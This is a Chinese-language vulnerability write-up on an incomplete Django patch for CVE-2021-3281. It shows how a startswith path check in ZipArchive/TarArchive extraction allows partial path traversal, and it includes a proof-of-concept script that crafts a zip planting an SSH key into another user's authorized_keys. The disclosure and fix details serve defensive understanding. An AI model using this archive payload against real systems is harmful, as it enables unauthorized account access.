Django路径遍历漏洞分析:CVE-2021-3281补丁不完整问题

本文详细分析了Django框架中CVE-2021-3281漏洞补丁不完整问题,揭示了archive.extract函数存在的部分路径遍历漏洞,包含具体代码分析、漏洞复现步骤和修复方案,涉及ZipArchive和TarArchive类的安全机制。

Django路径遍历漏洞分析:CVE-2021-3281补丁不完整问题

漏洞背景

在对先前漏洞补丁进行代码审查时,发现CVE-2021-3281的修复措施并不完整。为缓解该漏洞,Django在ZipArchive和TarArchive类的extract函数中添加了防护逻辑,确保所有文件都在基础文件夹(target_path)下提取。

代码分析

1
2
3
4
5
6
7
# django/django/utils/archive.py
def target_filename(self, to_path, name):
    target_path = os.path.abspath(to_path)
    filename = os.path.abspath(os.path.join(target_path, name))
    if not filename.startswith(target_path):
        raise SuspiciousOperation("Archive contains invalid path: '%s'" % name)
    return filename

该代码使用abspath函数获取绝对路径和规范化唯一路径,然后利用startswith函数验证目标路径是否在预期的基础文件夹内。然而,abspath函数会移除结尾的路径分隔符,这使得防护逻辑不足以防御部分路径遍历攻击。

漏洞原理

假设基础文件夹定义为/var/lib/,初始文件名为/var/library/test.txt。由于尾随斜杠被移除,攻击者仍然可以通过部分路径遍历到以相同字符开头的另一个目录,因为以下检查会通过:

1
"/var/library/test.txt".startswith("/var/lib") == true

在Python CLI中执行以下代码不会引发预期的异常:

1
2
3
4
5
import os
target_path = os.path.abspath("/var/lib/")
filename = os.path.abspath(os.path.join(target_path, "/var/library/test.txt"))
if not filename.startswith(target_path):
   raise Exception

漏洞影响

这导致部分路径遍历漏洞,允许攻击者在解压归档文件(tar和zip)时将文件写入基础目录之外。

漏洞复现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import zipfile
from django.utils.archive import *

zip_path = "malicious.zip"

def create_malicious_zip():
    with zipfile.ZipFile(zip_path, "w") as zf:
        zf.writestr("/home/johnny/.ssh/authorized_keys", "ssh key\n")
        zf.writestr("test.txt", "Test\n")
    print(f"Archive {zip_path} has been successfully created")

def extract_archive():
    archive = ZipArchive(zip_path)
    archive.extract("/home/john")

if __name__ == "__main__":
    create_malicious_zip()
    extract_archive()

在/home目录下创建两个可由同一用户写入的目录(john和johnny),即使目标提取目录设置为/home/john,也会在/home/johnny/.ssh/authorized_keys中添加攻击者的SSH密钥。

修复与讨论

Django安全团队确认了该漏洞,并分配了CVE-2025-59682。修复补丁已于10月1日随Django版本5.2.7、5.1.13和4.2.25发布。

关于漏洞严重性的讨论:虽然攻击者需要知道用户将在哪个目录中提取文件,但在某些情况下(如应用程序开源或提取目录可能受攻击者控制),该漏洞的影响可能更为严重。

时间线

  • 2025年9月5日:漏洞报告提交
  • 2025年9月18日:漏洞确认并分配CVE
  • 2025年10月1日:修复发布
  • 2025年11月21日:报告公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计